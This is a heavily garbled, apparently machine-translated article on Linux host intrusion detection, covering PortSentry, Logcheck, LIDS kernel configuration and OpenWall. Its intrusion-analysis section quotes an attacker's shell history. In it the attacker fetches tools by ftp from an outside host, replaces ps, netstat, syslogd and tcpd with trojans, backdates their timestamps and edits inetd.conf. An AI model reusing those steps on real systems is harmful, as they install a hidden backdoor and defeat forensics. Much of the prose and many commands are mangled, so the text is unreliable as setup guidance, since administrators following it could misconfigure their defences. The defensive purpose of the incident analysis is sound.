Introduction This article is mainly regarding several host-based intrusion detection systems that apply to Linux. In particular, we will cover some elements of how to install these packages, which have used their use and when they can use these things. System Security 101 This article will show you some basic system security knowledge. Special, I assume that many common security measures have been used to resist intrusion from Internet to the host. These security measures are mainly: firewalls determine which TCP or UDP ports have access to which TCP or UDP ports are accessible from the Internet. For example: We can determine that this machine can only be opened to users only through some very simple Web Server firewall rule settings. The system does not need to have a daemon. For example: a web server typically requires only one running process to serve the web page. The process is not to be associated with the service, such as the RPC / PortMap service, NFS service, X Font service, DNS domain service, other external or no use of applications should be turned off or disabled. In the Red Hat Linux system, we typically perform related settings in an editor running, such as we can use NTSysv or TKSYSV to disable those without requiring daemon. You can shield some unused ports by editing and modifying /etc/inetd.conf. As a typical default, we installed a new Linux system, / etc / inetd.conf opened a lot of ports. All systems should be edited /etc/inetd.conf, delete or comment out some of the rows, which are used to disable ports that are not useful, which is the most basic system security behavior. Lines of Defense: This part of the multi-layer system is secure, we will discuss system security issues of multi-layer channels. When some of these security layers are destroyed, many security layers can provide some additional defense applications. Figure 1 is a system security model of a multi-layer structure. Each layer in the chart provides additional data protection for its previous layer. For example: The first layer is a firewall. If the firewall does not block an intrusion attempt, then the second layer-port daemon provides additional protection. Further, the security system inside is the LIDS and Logcheck programs, which will also be protected when the intrusion attempt is not intercepted by the second layer. Monitoring the first protective layer after the current connection firewall is a package used to monitor the connection attempt to the host. Port daemon (
http://www.psionic.com/abacus/portSentry/
) Provide some simple and useful ways to complete these things. The main role of the PortSentry program port daemon monitors the activity of some special TCP / IP ports. PortSentry monitors and reports some port activities, one of which may be selected, including rejecting a further connection attempt. This is a very important protective measures because the average hackers will use some tools to detect the vulnerabilities and weaknesses of the system before invading a system. The detector or port scan can be thoroughly cut off some potentially hackers further connection attempts, and there are some further port scans with intrusion intent. Installing PortSentry For the RED HAT user, the RPM package on the Red Hat contains this program. This site has its mirror in the world, you can
Find the site from your nearest site at www.redhat.com. I am still not
It is a program that can determine the. DEB format package is a program like PortSentry, but I can confirm that there is certain software. For other Linux users, it is quite simple to install this software through the original code. Recommendation Configuring PortSentry has a lot of running modes, including different UDP and TCP secret operation mode. The running mechanism I have chosen is to bind PortSentry in the TCP port that is not used or considered potential intrusion. For example: I will scan these ports on my web server 24 hours, Port 143 (IMAP2), Port 23 (Telnet) is a TCP port that is not used on my Internet system. You can pass this command: PortSentry -tcp will enable PortSentry to enter the basic TCP operating mode when you start. At the same time, to ensure that portSentry's configuration file portSentry.conf contains TCP_Ports this row configuration to scan the port you need to scan. Reaction Options You can detailed explanation of the "response options" section in PortSentry.conf, which is the portsentry spotted some undesired connections. I usually use ipchains to interrupt a further connection from the source side of the connection. This can also be configured through the bottom of PortSentry.conf: kill_route = "/ sbin / ipchains -i input -s $ target $ -j deny -l" can be deleted when accepted scanning behavior from high ports The -l this option in the above line is to shield these further connections and can effectively maintain the system log space. Monitoring system logs such as firewall systems, PortSentry can effectively monitor or block undesirable connections for some ports. This prevents the most typical "scan-intrusion" attack. When the system needs to run a special service (for example, Apache Web Server, or binding a DNS service), there is also a hacker to crack some of the attack points in this service, these programs will not be kept. Reject all intruders. Binding a DNS server that is easily attacked, and these ports will eventually be used by some hackers by scanning a particular port of a wide range of machines and trying to invade the system through this port. Unfortunately, the firewall or the PortSentry program will take these intrusion attempts as a normal reasonable connection. System Log Detection (Logcheck) Logcheck is software used to scan the system log file (http://www.psionic.com/abacus/logcheck
/). Logcheck scans the system log file (in the Linux system, the system log file is below / var / log / directory below), and when there is some exceptions, logcheck will be reported to the administrator through email. The abnormal message in the system log file is usually indicating that there are some hackers that are trying to invade or being invading the system. Install LogcheckLogcheck has four main profiles. In the RPM version, these configuration files are under the / etc / logcheck directory. Usually we only need to configure two files of logcheck.ignore and logcheck.violations.ignore. I am in installation of Logcheck is usually the case: Allow logcheck to run once in normal operation mode, so that a huge output file, but we can delete this file. After 24 hours, Logcheck was once again, this time we found some new things in the entrance of the log file, and it is also a big but still calculate the size of the file. Read this file carefully. There are some specific strings that don't need our concern at the entrance of the file. If these strings are discontinued, we can add these characters to the logcheck.violations.ignore file; or when they When it is an "exception system event", we add these strings to logcheck.ignore. In the chassis song, repeat these steps every 12 to 24 hours. In this stage, we repeatedly set the filter rules of the .Ignore file, the last thing left is our system truly care. Note that the RPM file specifies that the logcheck is running once a hour, but I only need to run once a day unless the system that needs to be monitored in a particular need. This can copy the / etc / cron every day to / etc / cron. The kernel-based intrusion detection based on kernel intrusion detection is a fairly smart new Linux intrusion detection system. The most important kernel-based intrusion detection system is now called LIDS, and can be from http://www.lids.org/
download. What is LIDS? LIDS is an intrusion detection and prevention system based on Linux kernel. LIDS's protection purpose is to prevent superuser root from tampering with important parts. The main characteristics of the LIDS are to improve the security of the system, prevent direct port connections or memory connections to prevent the use of raw disks, while also protect the system log file. LIDS is of course appropriate to stop some specific system operations, such as: Installing SNIFFER, modify the firewall configuration file. LIDS Documentation Engineering LIDS is complicated than installation portSentry and Logcheck, but fortunately, there is a detailed installation and configuration manual on the LIDS's homepage. Installing LIDS First, we need most of the latest LIDS packages (I use 0.9) and the appropriate kernel version. I am using the 2.2.14-12 version of the 2.2.14-12 version of the 2.2.14-12 version from the Red Hat home page, because of some secure patches. At the same time, you also need some source code for the kernel you use. The current LIDS is mainly suitable for the 2.2.14 version of the kernel. I installed the LIDS on Red Hat Linux6.2 on the kernel of 2.2.14. Before installing the LIDS, I downloaded the latest kernel version in ftp.redhat.com and according to it.
http://www.redhat.com/support/docs/...de/kernel-upgra
D.html installed this kernel. The next thing is to upgrade the kernel source code. Here we do this: rpm -uhv kernel-source-2.2.14-12.i386.rpm then compiles and installing Lidsadm this program: CD /USR/LOCAL/SRC/security/lids-0.9/lidsadm-0.9makemake Install generates a RIPEMD-160 password, which will be installed in the kernel in the future: lidsadm -p input password is "Anypass" to get the secret key "D502D92BFEAD11D1EF17887C9DB07A78108859E8". Then, I copied the redhat's profile to my structural system, in the / usr / src / linux directory: CD / usr / src / linux / configs / cp kernel-2.2.12-i686.config .. Use the following command to install the LIDS: CD / USR / SRCPATCH -P0 At the same time we should notice that the core of the RED HAT is available in the kernel and the standard version 2.2.14 version of the LINUS has some subtle differences, because of which some modifications are included. Driver. The same LIDS-0.9-2.2.14-Redhat.patch file is also a small difference in LIDS-0.9-2.2.14.Patch released by the LIDS, but may be latter not particularly suitable for the Red HAT system.
Finally, it is configured, compiled and installed: CD / USR / SRC / Linuxmake MenuConfigmake DEP; Make CleanmakeInstall; Make Mode; Make ModeS_INSTALL The following script shows the LIDS configuration option I set in the process of configuring the kernel: [*] Linux Intrusion Detection System support (EXPERIMENTAL) --- LIDS features [] Hang up console when raising a securit alert [*] Security alert when execing unprotected programs before sealing [] Do not execute unprotected programs before sealing LIDS [*] Enable init children lock feature [*] Try not to flood logs (60) Authorised time between two identic logs (seconds) [*] Allow switching LIDS protectionsRipeMD-160 encrypted password: d502d92bfead11d1ef17887c9db07a78108859e8 (3) Number of attempts to submit password (3) Time to wait after a fail (seconds) [*] Allow remote users to switch LIDS protections [] Allow any program to switch LIDS protections [*] Allow reloading config. file [] Hide some known processes [*] Port Scanner Detector in kernel [] Send Security Alerts THROUGH NETWORK --- Special Authorizations [] Allow Some Known Processes To Access / Dev / mem (xfree, etc.) [] Allow some known processes to access raw disk devices [] Allow some known processes to access io ports [] Allow some known processes to change routes --- Special UPS [*] Allow some KNOWN Processes To Unmount DevicesAllowed Processes: "/etc/rc.d/init.d/halt;/tc/rc.d/init.d/netfs"[*] unmounting Capability Is Inherited [*] Allow Some KNown Processes to Kill INIT ChildrenAllowed Processes: "/etc/rc.d/init.d/halt"[*] killing Capability is inherited, I didn't use UPS, and run a server that needs to be able to access remotely, I follow The file is configured, but in the actual application process, everyone's system is different depending on the environment, there will be some differences. Configuring LIDS: There is a special thing to pay attention to: You should configure the LIDS before your system is restarted! We should use lidsam to configure the LIDS profile /etc/lids.conf, and cannot be modified manually.
Run "lidsadm -h" get some help with how to use the Lidsadm. LIDS provides many examples of using the LIDS protection file, such as: lidsadm -a -r / sbin this command protection / sbin full directory, and is read-only. I should first like this: lidsadm -zlidsadm -a -r / usr / binlidsadm -a -r / binlidsadm -a -r / usr / sbinlidsadm -a -r / sbinlidsadm -a -r / usr / x11r6 / binlidsadm -a -r /etc/rc.dlidsadm -a -r / etc. Once the LIDS configuration file is configured, the system's startup file should be modified to run the LIDS when the system is started, so it can be effective. The role of LIDS is started in the kernel. Generally, I add Lidsadm to the end of the /etc/rc.d/rc.local, which ensures that the functionality of the LIDS does not hinder the normal start of the system's other applications. Here's what I added to /etc/rc/d/rc.local the LIDS used to start the script: / sbin / lidsadm -I - -CAP_SYS_MODULE -CAP_SYS_RAWIO -CAP_SYS_ADMIN / -CAP_SYS_PTRACE -CAP_NET_ADMIN -CAP_LINUX_IMMUTABLE / INIT_CHILDREN_LOCK configuration lilo us Know that the RPMS upgrade system kernel is used to use Redhat, you need to reconfigure lilo.conf to ensure that the new kernel that is compiled and loaded will be normal. After the next reboot, the LIDS will run in the system, but if you need to stop LIDS and perform some system tasks, you should follow the commands below: / sbin / lidsadm -s - -lids or / sbin / lidsadm S - -LIDS_GLOBAL You need to provide a password of LIDS, which added RIPEMD-160 format in the kernel when compiling the kernel. I don't know if you noticed, in the SHUTDOWN script, many scripts will not work. The final shutdown script /etc/rc.d/init.d/halt will stop all processes and uninstall file systems. Due to the protection of " init_children_lock" in file rc.local, other processes are not permissions to kill the init (). Also every 10 minutes, you will receive an error message about "rmmod / as" cannot unload the module. This is mainly due to the protection of "-CAP_SYS_MODULE" after the LIDS starts such that the module is inserted or unloaded. We can delete the /etc/cron.d/kmod this file to prevent the error information from moving. What can LIDS protect? Quick browsing LIDS documents can learn a series of features of the LIDS.
And I think the following features are the most important: CAP_LINUX_IMMUTABLE When the file and the external system are identified "immutable" to prevent being written; CAP_NET_ADMIN prevents tampering network configuration (for example: prevents the routing table); CAP_SYS_MODULE prevents the kernel module from being inserted into Or removal; CAP_SYS_RAWIO prevents damage to disk or device I / O; CAP_SYS_ADMIN prevents a wide range of other system functions; init_children_lock which prevents child processes of the init () master process from being tampered with. No matter which point, these features Can be started by command "LIDSADM -I", disabled by "LIDSADM -S" (can allow real system administrators to configure system configuration), and provide LIDS passwords already installed in the kernel (encrypted through RIPEMD-160 of). An analysis of the invasion recently I have been busy checking some of the black machines to infer some of the invasion, and if there is a verification hacker to damage the system. Fortunately, some hackers are not particularly smart, and they have not tried the traces after invading some systems. When the hacker will get root permissions after the buffer overflow of some system daemons, this is the host being invaded (in fact impossible, but the person who has installed the Linux system forgets the latest buffer overflow Patch, and let the system have been running). Of course, some hackers are not careful enough. When they invade the host, they are very eager to get the shell, but they often don't consider the Bash command will be stored in the system log file, simple reading /.bash_history can understand hackers How to make something on the machine.
This file we can see (for more simple we have done some subtle modifications): mkdir / usr / lib / ...; cd/usr/lib/...ftp 200.192.58.201 21CD / usr / lib / .. .mv netstat.gz? netstat.gz; mv ps.gz? ps.gz; mv pstree.gz? pstree.gz; mv pt07.gz? pt07.gz; mv slice2.gz? slice2.gz; mv syslogd.gz syslogd.gz; mv tcpd.gz? tcpd.gzgzip -d * chmod x * mv netstat / bin; mv ps / bin; mv tcpd / usr / sbin /; mv syslogd / usr / sbin; MV PT07 / USR / lib /; mv pstree / usr / bin; / usr / lib / pt07touch -t 199910122110 / usr / lib / pt07touch -t 199910122110 / usr / sbin / syslogdtouch -t 199910122110 / usr / sbin / tcpdtouch -t 199910122110 / bin / pstouch -t 199910122110 / bin / netstattouch -t 199910122110 / usr / bin / pstreecat /etc/inetd.conf | GREP -V 15678 >> / TMP / BMV / TMP / B /ETC/inetd.confkillall -hup inetd to read this content, We can understand some of the following moves: a directory (/ usr / lib) in the system is established, and then hacker Telnet has on his own host (200.192.58.201, which is a dial-up user in a place in Brazil), and download A hacker tool. These hacking tools have not been compressed, and some Troji binarys in the middle are installed in the system, which also programs cover the system's NetStat, PS, TCPD, Syslogd, and PStree commands. These programs are used to report that there are those processes that are running, and those ports are open. What can we learn from it? First, the LIDS does not block an intrusion, and the hacker is connected to the host's root permission by the host through the buffer overflow. Once there is no hacker invasion, we look at how the LIDS minimizes the destruction: LIDS can prevent Trull's program to be written to / bin, / usr / lib_linux_immutable option. Directory. These directorys we generally be identified as immobilized (Chattr I), and thus will not be modified. We can notice that even if you do not use the LIDS, you can also identify the directory through the Chattr i command, but if it is through the LIDS, even the root cannot be tampered with the non-variable label. Similarly, if the file is identified by Chattr i, the Touck -t command will fail. Even the "mkdir / etc / lib" command in the first line will fail, if we identify the file as unreadable. LIDS can't prevent hackers from intrusion, but it can prevent invading hackers from being damaged after intrusion. A latte program can be installed on the system, but there is no version of the version of PS, NetStat and PStree discover this backdoor process very early, then Kill.
If there is no LIDS, we can't know what hacker will do some things through this latte program, and our only work that can be recovered is to reload the system. OpenWall and LIDS: Additional layers Another and LIDS-like system is OpenWall project (http://www.openwall.com/linux/
). Openwall project is different in many places and LIDs, and there is a special patch with OpenWall to make the stack area inhase. Here is the declaration of the README document taken from OpenWall: Most buffer overflow attacks are based on the function returned in the stack based on the function overwriting some cascaders. If the stack is not executable, the weak point of the buffer overflow will It will become difficult to attack. Another way to overflow in a buffer is to point out a return address of a function in the libc, usually system (). This patch is always a zero-byte file by modifying the shared library of mmap (). This makes it no longer specify some data, and has to use the ASCIIZ string in many attacks. Recently, there are some complete LIDS OpenWall kernel patches on the LIDS online, which provides features of LIDS and OpenWall. Summarizing in the Linux system, by using this series of multi-layer security measures, a wide range of attacks can be prevented, while also prevent intrusion or tampering. The system is hacked into the network interface, and we can prevent others from invading others on the network interface. Aware of some potential security vulnerabilities in the system. Any daemon or service running on the system, whether it is a root user or non-root user running, it can be a potential security threat. Fully prepare for these threats
